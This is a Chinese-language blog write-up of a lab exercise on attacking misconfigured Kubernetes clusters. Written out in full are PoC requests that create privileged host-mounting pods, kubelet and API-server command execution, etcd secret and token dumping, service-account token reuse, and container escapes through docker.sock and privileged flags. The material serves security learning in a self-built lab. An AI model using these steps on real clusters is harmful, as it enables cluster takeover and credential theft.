Kubernetes安全测试实践录

wh4am1 2021-12-29 10:07:00

0x00 前言

最近在学习K8S相关云原生技术,因为之前工作的环境中接触到过K8S在CI/CD的场景应用,便一直想找个机会深入钻研一下云安全方向的利用,才有了这篇文章。本文非常适合刚入门或者准备学习云安全方向的安全人员,每个步骤都是亲手复现整理。文中如有错误的地方,还望各位大佬在评论区指正。

0x01 利用Kind快速搭建K8S环境

安装Kind

Kind是Kubernetes In Docker的缩写,就是将Docker容器作为节点并把K8S快速部署至其中一个Node的工具,且操作简单、学习成本低,非常适合在本地搭建K8S的开发/测试环境。而该工具是由Go语言编写,因此所需的环境就为Go和Docker。

下面就测试在Ubuntu18.04的机器上安装

curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.11.0/kind-linux-amd64
chmod +x ./kind
mv ./kind /usr/local/bin/kind

输入kind version查看是否安装成功

安装Kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
新建一个集群
kind create cluster --name k8s

创建完成后可以通过

kind get clusters

但是如此创建的集群是默认绑定到127.0.0.1地址上的,无法后续的测试,因此我这里直接用--config指定配置文件来创建

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: k8s  #集群名
nodes: #节点配置,如下,启动一个master节点,一个worker节点
- role: control-plane   #master节点
  image: kindest/node:v1.21.1 #指定镜像,同 kind create cluster参数--image
  extraPortMappings:
  - containerPort: 6443
    hostPort: 26443
    listenAddress: "0.0.0.0"
    protocol: tcp #默认值,可不设置
- role: worker

将其保存为k8s.yml文件

kind create cluster --config k8s.yaml

完成后,查看当前已经有的集群

kind get clusters

此时创建好的K8S集群还是Master,如果想在Master节点上直接装Pod,则需要去除污点才可以正常安装Pod

kubectl taint nodes --all node-role.kubernetes.io/master-

如果想要删除某个集群可以使用

kind delete cluster --name k8s

0x02 配置不当引发的组件安全问题

API Server未授权访问

运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

Poc:

#查看pods,GET
https://192.168.249.129:26443/api/v1/namespaces/default/pods?limit=500

#创建特权容器,POST
https://192.168.249.129:26443/api/v1/namespaces/default/pods
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

#执行命令,GET
https://192.168.249.129:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

在用PostMan测试第三条执行命令的时候我出现了"Upgrade request required"(400)

{
    "kind": "Status",
    "apiVersion": "v1",
    "metadata": {},
    "status": "Failure",
    "message": "Upgrade request required",
    "reason": "BadRequest",
    "code": 400
}

经过查询发现:

对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。

curl/Postman不支持从http升级到websocket。因此错误。

解决办法就是用wscat工具发送包

wscat -n -c 'https://192.168.249.129:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami'

1640098336848.png

Docker Daemon服务暴露至公网

首先来看一下docker的架构

docker.jpg

分为三个部分,Client上使用命令后,会发送对应的请求到API,也就是Docker Daemon服务。然后docker会去对应的Registry仓库拉取镜像创建容器。

这个服务本地会暴露在unix:///var/run/docker.sock上,如果容器中有权限访问到这个文件,就可以对宿主机的所有容器进行操作。

这里我模拟运维人员不当操作开启远程的Daemon服务

分别用两种方式开启Docker Daemon服务

方法一:

# vim /usr/lib/systemd/system/docker.service
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

方法二:

#vim /etc/docker/daemon.json

{
  "hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]
}

我这里用第二种方法配置好之后,重启docker服务

systemctl daemon-reload
systemctl restart docker

如果重启失败,查看报错信息发现是

from flag: [fd://], from file: [tcp://0.0.0.0:2375]

则需要修改docker.service文件内容,将其中的fd://给删除掉

# ExecStart=/usr/bin/dockerd -H fd://
ExecStart=/usr/bin/dockerd

此时就可以发现2375的端口已经暴露在公网上了
1640145305745.png
之后攻击者可以通过访问http://192.168.249.129:2375/info查看
1640145433303.png
或者是通过-H直接执行docker命令

root@ubuntu:~# docker -H tcp://192.168.249.129:2375 version
Client:
 Version:           20.10.7
 API version:       1.41
 Go version:        go1.13.8
 Git commit:        20.10.7-0ubuntu5~18.04.3
 Built:             Mon Nov  1 01:04:14 2021
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true
Kubelet 10250端口未授权访问

10250端口是kubelet API的HTTPS端口,该端口对外提供了Pod和Node的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。

首先修改配置文件/var/lib/kubelet/config.yaml

apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: true

修改authentication的anonymous为true

之后访问https://192.168.1.102:10250/pods即可验证漏洞是否存在
1640268929180.png

curl -k https://172.18.0.2:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"

直接命令执行
1640269370248.png
这里可以通过检索securityContext字段快速找到特权容器,方便之后逃逸容器
1640270482693.png

Kubernetes Dashboard未授权访问

在 Kubernetes 社区中,有一个很受欢迎的 Dashboard 项目,它可以给用户提供一个可视化的 Web 界面来查看当前集群的各种信息。用户可以用 Kubernetes Dashboard 部署容器化的应用、监控应用的状态、执行故障排查任务以及管理 Kubernetes 各种资源。
在开发环境中,很多运维人员对访问Dashboard时需要出示Token或是Config文件觉得麻烦,使用了免登录的Dashboard版本。
具体环境安装步骤如下
首先下载官方的安装yaml文件:

https://github.com/kubernetes/dashboard/blob/master/aio/deploy/recommended.yaml

步骤一、修改Deployment
找到kind: Deployment的地方
修改成如下内容

kind: Deployment
apiVersion: apps/v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
spec:
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      k8s-app: kubernetes-dashboard
  template:
    metadata:
      labels:
        k8s-app: kubernetes-dashboard
    spec:
      securityContext:
        seccompProfile:
          type: RuntimeDefault
      containers:
        - name: kubernetes-dashboard
          image: kubernetesui/dashboard:v2.4.0
          imagePullPolicy: Always
          ports:
            - containerPort: 8443
              protocol: TCP
            - containerPort: 9090   #Add 9090 Port
              protocol: TCP
              name: http
          args:
            #- --auto-generate-certificates
            - --namespace=kubernetes-dashboard
            # Uncomment the following line to manually specify Kubernetes API server Host
            # If not specified, Dashboard will attempt to auto discover the API server and connect
            # to it. Uncomment only if the default does not work.
            # - --apiserver-host=http://my-address:port

本次Deployment改动了两处:
- 增加暴露9090非安全端口
- 注释掉参数--auto-generate-certificates

步骤二、修改Service
找到文件中如下内容:

kind: Service
apiVersion: v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
spec:
  ports:
    - port: 443
      targetPort: 8443
  selector:
    k8s-app: kubernetes-dashboard

修改成如下

kind: Service
apiVersion: v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
spec:
  ports:
    - port: 443
      targetPort: 8443
      nodePort: 32001
      name: https
    - port: 80
      targetPort: 9090
      nodePort: 32000
      name: http
  type: NodePort
  selector:
    k8s-app: kubernetes-dashboard

本次修改Service内容如下:
- 增加9090端口
- 配置nodePort,方便对外暴露端口访问
- 添加type:NodePort

以上两个步骤全部改完之后通过kubectl apply部署即可访问http://192.168.249.129:32000
1640362696372.png
获取访问后直接创建特权容器即可getshell

apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /tmp
      name: volume
  volumes:
  - name: volume
    hostPath:
      path: /
K8s Config文件泄露

如果攻击者通过webshell、GitHub等特定方式拿到该K8s配置的Config文件,就可以用该文件操作集群,从而接管所有容器。

找到config文件有如下三种判断方式:

  • 如果提供了--kubeconfig参数,就使用提供的kubeconfig文件。
  • 如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件。
  • 如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件$HOME/.kube/config。

之后通过kubectl --kubeconfig指定设置config文件,就可操作对应的集群容器了。

Etcd未授权访问

Etcd是Kubernetes集群中的一个十分重要的组件,是兼具一致性和高可用性的键值数据库,用于保存集群所有的网络配置和对象的状态信息。通常我们用etcd来存储两个重要服务:

  • 网络插件flannel
  • kubernetes本身,包括各种对象的状态和元信息配置

其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。
首先在Kubernetes中可以更改配置/etc/Kubernetes/manifests/etcd.yaml文件的内容,来将2379端口向外暴露
1640413917419.png
Etcd v2和v3是两套不兼容的API,K8s是用的v3,所以需要先通过环境变量设置API为v3

export ETCDCTL_API=3

当etcd授权的时候会回显如下:

root@ubuntu:~# etcdctl --endpoints=https://172.18.0.2:2379 get / --prefix --keys-only | grep /secrets/
Error:  context deadline exceeded

此时就需要带上相应的证书

export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

查看k8s的secrets

etcdctl get / --prefix --keys-only | grep /secrets/

读取service account token

#etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
#etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

1640414325780.png
而读取的Token大概如下模样
1640414390724.png
之后就通过token访问API-Server,获取集群的权限:

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

1640414535899.png

Kubectl Proxy命令未安全使用

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的8009端口上:

kubectl proxy --port=8009

设置API server接收所有主机的请求:

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

之后就可以通过特定端口访问k8s集群

kubectl -s http://192.168.1.101:8009 get pods -n kube-system
未开启RBAC控制

如果运维在环境中没有设置RBAC或者Kubernetes版本低于1.16版本,则默认是不会开启RBAC访问控制策略。

基于角色(Role)的访问控制(RBAC)是一种基于组织中用户的角色来调节控制对 计算机或网络资源的访问的方法。

在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。

可以在k8s环境中查看apiserver的参数是否有--authorization-mode=RBAC
1640503446622.png
我这里直接修改/etc/kubernetes/manifests/kube-apiserver.yaml文件,将--authorization-mode=RBAC的参数给注释掉。

ServiceAccount 主要包含了三个内容:namespace、Token 和 CA。namespace 指定了 pod 所在的 namespace,CA 用于验证 apiserver 的证书,token 用作身份验证。它们都通过 mount 的方式保存在 pod 的文件系统中,其中 token 保存的路径是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通过私钥签发 token 的 base64 编码后的结果

因此我们只需要设置namespace、Token 和 CA给Curl,就可以直接绕过ApiServer的Token验证,以Pod的普通用户身份访问集群了。

export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces

1640504178998.png
之后的利用就跟API Server未授权访问一样,创建特权容器逃逸即可。

关于这个安全问题如果想看实战可以跳到Annevi师傅的博客:华为云CTF cloud非预期解之k8s渗透实战

0x03 容器逃逸

判断是否为容器

查看是否存在/.dockerenv文件
检查/proc/1/cgroup是否包含"docker"字符串

Docker in Docker

这个很好理解,之前介绍Docker Daemon服务的时候就说明过/var/run/docker.sock文件是本地的通信服务,所以这个逃逸就是将/var/run/docker.sock挂载进了Docker容器中,导致可以在容器中执行docker命令。

docker run --rm -it \  -v /var/run/docker.sock:/var/run/docker.sock \  -v /usr/bin/docker:/usr/bin/docker \  ubuntu \  /bin/bash
高危参数启动容器

特权模式(--privileged):

sudo docker run -itd --privileged ubuntu:latest /bin/bash

挂载敏感目录(/,/etc,/root/.ssh等):

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

挂载权限(--cap-add=SYS_ADMIN):
这个参数会给容器一个SYS_ADMIN权限,可以在容器中允许执行mount特权操作

docker run --cap-add=SYS_ADMIN
其他容器逃逸漏洞

这里还有一些其他的容器逃逸漏洞,如:runC容器逃逸漏洞(CVE-2019-5736)、Docker cp命令导致逃逸漏洞(CVE-2019-14271)、Containerd虚拟环境逃逸漏洞(CVE-2020-15257)等。本篇文章因为就不再赘述,网上有各式各样的复现文章,感兴趣的道友可以复现试试。

0x04 Reference

[1].https://security.tencent.com/index.php/blog/msg/183
[2].https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA
[3].https://blog.csdn.net/u013488094/article/details/119949527
[4].https://www.cdxy.me/?p=827
[5].https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/

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wh4am1

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路人甲@@

https://github.com/ice-doom/CodeQLRule 代

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师傅,催更啊!!!

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